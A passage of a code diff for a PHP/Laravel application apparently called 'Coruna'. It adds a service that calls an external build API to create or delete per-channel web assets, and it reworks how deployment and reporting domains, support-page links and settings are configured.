'msg' => $e->getMessage() ?: '删除失败',
], 422);
}
return response()->json(['code' => 0, 'msg' => 'ok']);
}
@@ -229,4 +264,33 @@ class ChannelController extends Controller
abort_unless((int) $channel->user_id === (int) $agent->id, 403);
}
}
private function compensateBuildUnlessChannelExists(
ChannelProjectService $projects,
string $channelId
): void {
try {
// A concurrent request may have won the unique channel_id insert. Its
// project must not be removed by this request's compensation.
if (Channel::query()->where('channel_id', $channelId)->exists()) {
return;
}
} catch (\Throwable $e) {
Log::warning('Skipped channel build compensation because DB state is unknown', [
'channel_id' => $channelId,
'error' => $e->getMessage(),
]);
return;
}
try {
$projects->deleteWebTree($channelId);
} catch (\Throwable $e) {
Log::error('Failed to compensate channel build', [
'channel_id' => $channelId,
'error' => $e->getMessage(),
]);
}
}
}
@@ -47,16 +47,40 @@ class Channel extends Model
}
/**
* Domains for support-link display and builder deployment_domains.
* Channel row wins; otherwise CORUNA_LAB_CHANNEL_DOMAINS.
*
* @return list<string>
*/
public function resolvedDomains(): array
{
// Domains come from env only (CORUNA_CHANNEL_DOMAINS).
$domains = config('coruna.channel_domains', []);
$stored = $this->normalizeDomainList($this->domains);
if ($stored !== []) {
return $stored;
}
return array_values(array_filter(array_map(static function ($d) {
return is_string($d) ? trim($d) : '';
}, is_array($domains) ? $domains : [])));
return $this->normalizeDomainList(config('coruna.channel_domains', []));
}
/**
* @param mixed $domains
* @return list<string>
*/
public static function normalizeDomainList(mixed $domains): array
{
if (! is_array($domains)) {
return [];
}
return array_values(array_unique(array_filter(array_map(static function ($d) {
if (! is_string($d)) {
return '';
}
$d = trim($d);
$d = preg_replace('#^https?://#i', '', $d) ?? $d;
return rtrim($d, '/');
}, $domains))));
}
/**
@@ -65,15 +89,25 @@ class Channel extends Model
public function supportLinks(): array
{
$links = [];
foreach ($this->resolvedDomains() as $domain) {
$host = preg_replace('#^https?://#i', '', rtrim($domain, '/'));
if ($host === '') {
continue;
}
$links[] = 'https://'.$host.'/web/'.$this->channel_id.'/support.html';
$path = '/channel/'.$this->channel_id.'/web/support.html';
$baseUrl = rtrim((string) config('coruna.static_site.base_url', ''), '/');
if ($baseUrl !== '') {
$links[] = $baseUrl.$path;
}
return $links;
$scheme = trim((string) config('coruna.static_site.scheme', 'https')) ?: 'https';
foreach ($this->resolvedDomains() as $domain) {
$origin = rtrim($domain, '/');
if ($origin === '') {
continue;
}
if (! preg_match('#^https?://#i', $origin)) {
$origin = $scheme.'://'.$origin;
}
$links[] = $origin.$path;
}
return array_values(array_unique($links));
}
public static function randomChannelId(): string
+148
View File
@@ -0,0 +1,148 @@
<?php
namespace App\Services;
use Illuminate\Http\Client\ConnectionException;
use Illuminate\Http\Client\Response;
use Illuminate\Support\Facades\Http;
use Illuminate\Support\Facades\Log;
use RuntimeException;
class ChannelProjectService
{
/**
* Ask the standalone builder to materialize a channel project.
*
* @param list<string>|null $deploymentDomains Channel-configured hosts; empty → CORUNA_LAB_CHANNEL_DOMAINS
*/
public function generate(string $channelId, ?array $deploymentDomains = null): void
{
$channelId = $this->normalizeChannelId($channelId);
$deploymentDomains = $this->normalizeDomains($deploymentDomains)
?: $this->domains('coruna.deployment_domains');
$reportingDomains = $this->domains('coruna.reporting_domains');
if ($deploymentDomains === []) {
throw new RuntimeException('投放域名未配置(CORUNA_LAB_CHANNEL_DOMAINS 或渠道 domains)');
}
if ($reportingDomains === []) {
throw new RuntimeException('上报域名未配置(CORUNA_LAB_AMIDN_DOMAINS)');
}
$response = $this->request('post', $channelId, [
'deployment_domains' => $deploymentDomains,
'reporting_domains' => $reportingDomains,
]);
$this->ensureSuccessful($response, '生成渠道资源失败');
}
public function deleteWebTree(string $channelId): void
{
try {
$channelId = $this->normalizeChannelId($channelId);
} catch (RuntimeException) {
return;
}
$response = $this->request('delete', $channelId);
if ($response->status() === 404) {
return;
}
$this->ensureSuccessful($response, '删除渠道资源失败');
}
private function request(string $method, string $channelId, array $payload = []): Response
{
$url = rtrim((string) config('coruna.build_service.url', ''), '/');
$token = trim((string) config('coruna.build_service.token', ''));
if ($url === '') {
throw new RuntimeException('渠道构建服务 URL 未配置');
}
if ($token === '') {
throw new RuntimeException('渠道构建服务令牌未配置');
}
$method = strtoupper($method);
$path = $method === 'POST'
? '/v1/channels/'.$channelId.'/build'
: '/v1/channels/'.$channelId;
try {
$pending = Http::baseUrl($url)
->withToken($token)
->acceptJson()
->connectTimeout((float) config('coruna.build_service.connect_timeout', 5))
->timeout((float) config('coruna.build_service.timeout', 600));
if ($method === 'POST') {
return $pending->asJson()->post($path, $payload);
}
return $pending->send($method, $path);
} catch (ConnectionException $e) {
Log::error('Channel build service connection failed', [
'channel_id' => $channelId,
'operation' => $method,
'error' => $e->getMessage(),
]);
throw new RuntimeException('渠道构建服务连接失败: '.$e->getMessage(), 0, $e);
}
}
private function ensureSuccessful(Response $response, string $message): void
{
if ($response->successful()) {
return;
}
$detail = $response->json('message');
$detail = is_string($detail) && trim($detail) !== ''
? trim($detail)
: trim($response->body());
$detail = mb_substr($detail !== '' ? $detail : 'unknown error', 0, 500);
Log::error('Channel build service request failed', [
'status' => $response->status(),
'detail' => $detail,
]);
throw new RuntimeException("{$message} ({$response->status()}): {$detail}");
}
private function normalizeChannelId(string $channelId): string
{
$channelId = strtolower(trim($channelId));
if (! preg_match('/^[a-z0-9]{32}$/', $channelId)) {
throw new RuntimeException('Invalid channel id');
}
return $channelId;
}
/** @return list<string> */
private function domains(string $key): array
{
return $this->normalizeDomains(config($key, []));
}
/** @return list<string> */
private function normalizeDomains(mixed $domains): array
{
if (! is_array($domains)) {
return [];
}
return array_values(array_unique(array_filter(array_map(static function ($domain) {
if (! is_string($domain)) {
return '';
}
$domain = trim($domain);
$domain = preg_replace('#^https?://#i', '', $domain) ?? $domain;
return rtrim($domain, '/');
}, $domains))));
}
}
@@ -82,7 +82,12 @@ class SettingsService
}
if (array_key_exists('channels.domains', $map) && $map['channels.domains'] !== null) {
config(['coruna.channel_domains' => self::parseDomains($map['channels.domains'])]);
$domains = self::parseDomains($map['channels.domains']);
// Settings override channel/deployment hosts only; reporting stays CORUNA_LAB_AMIDN_DOMAINS.
config([
'coruna.channel_domains' => $domains,
'coruna.deployment_domains' => $domains,
]);
}
}
View File
View File
+32 -8
View File
@@ -1,12 +1,39 @@
<?php
$parseDomains = static fn (string $value): array => array_values(array_filter(array_map(
'trim',
preg_split('/[\s,;]+/', $value) ?: []
)));
// Channel / deployment hosts (link display fallback + builder deployment_domains).
$channelDomains = $parseDomains((string) env(
'CORUNA_LAB_CHANNEL_DOMAINS',
env('CORUNA_DEPLOYMENT_DOMAINS', env('CORUNA_CHANNEL_DOMAINS', ''))
));
// Reporting hosts passed to lab-web as reporting_domains.
$adminDomains = $parseDomains((string) env(
'CORUNA_LAB_AMIDN_DOMAINS',
env('CORUNA_REPORTING_DOMAINS', '')
));
return [
'session_key' => env('CORUNA_SESSION_KEY'), // optional override; empty = derive(seed=0)
// Comma-separated delivery hosts for support links + new_project domains.
'channel_domains' => array_values(array_filter(array_map(
'trim',
explode(',', (string) env('CORUNA_CHANNEL_DOMAINS', ''))
))),
// channel_domains / deployment_domains: CORUNA_LAB_CHANNEL_DOMAINS (+ legacy aliases).
'channel_domains' => $channelDomains,
'deployment_domains' => $channelDomains,
// reporting_domains: CORUNA_LAB_AMIDN_DOMAINS (+ legacy CORUNA_REPORTING_DOMAINS).
'reporting_domains' => $adminDomains,
'static_site' => [
// Optional complete origin/base path prepended before /channel/{id}/web/support.html.
'base_url' => rtrim((string) env('CORUNA_STATIC_SITE_BASE_URL', ''), '/'),
'scheme' => env('CORUNA_STATIC_SITE_SCHEME', 'https'),
],
'build_service' => [
// HTTP host for coruna-lab-web build API (create/delete channel assets).
'url' => rtrim((string) env('CORUNA_BUILD_SERVICE_URL', env('CORUNA_LAB_WEB_URL', '')), '/'),
'token' => env('CORUNA_BUILD_SERVICE_TOKEN', env('CORUNA_LAB_WEB_TOKEN', '')),
'connect_timeout' => (float) env('CORUNA_BUILD_SERVICE_CONNECT_TIMEOUT', 5),
'timeout' => (float) env('CORUNA_BUILD_SERVICE_TIMEOUT', 600),
],
'channels' => [
// Max channel links per agent user (0 = official is unlimited). Overridable via settings.
'max_per_agent' => (int) env('CORUNA_MAX_CHANNELS_PER_AGENT', 5),
@@ -15,9 +42,6 @@ return [
// Absolute path, project-local bin/7z, or bare "7z" on PATH. Avoid probing
// system paths with is_executable() under open_basedir (see CorunaArchive).
'seven_zip' => env('CORUNA_7Z_BIN', ''),
// Channel pack builder (outside server/ — do not is_file() under tight open_basedir).
'new_project_py' => env('CORUNA_NEW_PROJECT_PY', ''),
'python_bin' => env('CORUNA_PYTHON_BIN', 'python3'),
'telegram' => [
'bot_token' => env('TELEGRAM_BOT_TOKEN'),
'owner_chat_id' => env('TELEGRAM_OWNER_CHAT_ID'),

Some files were not shown because too many files have changed in this diff Show More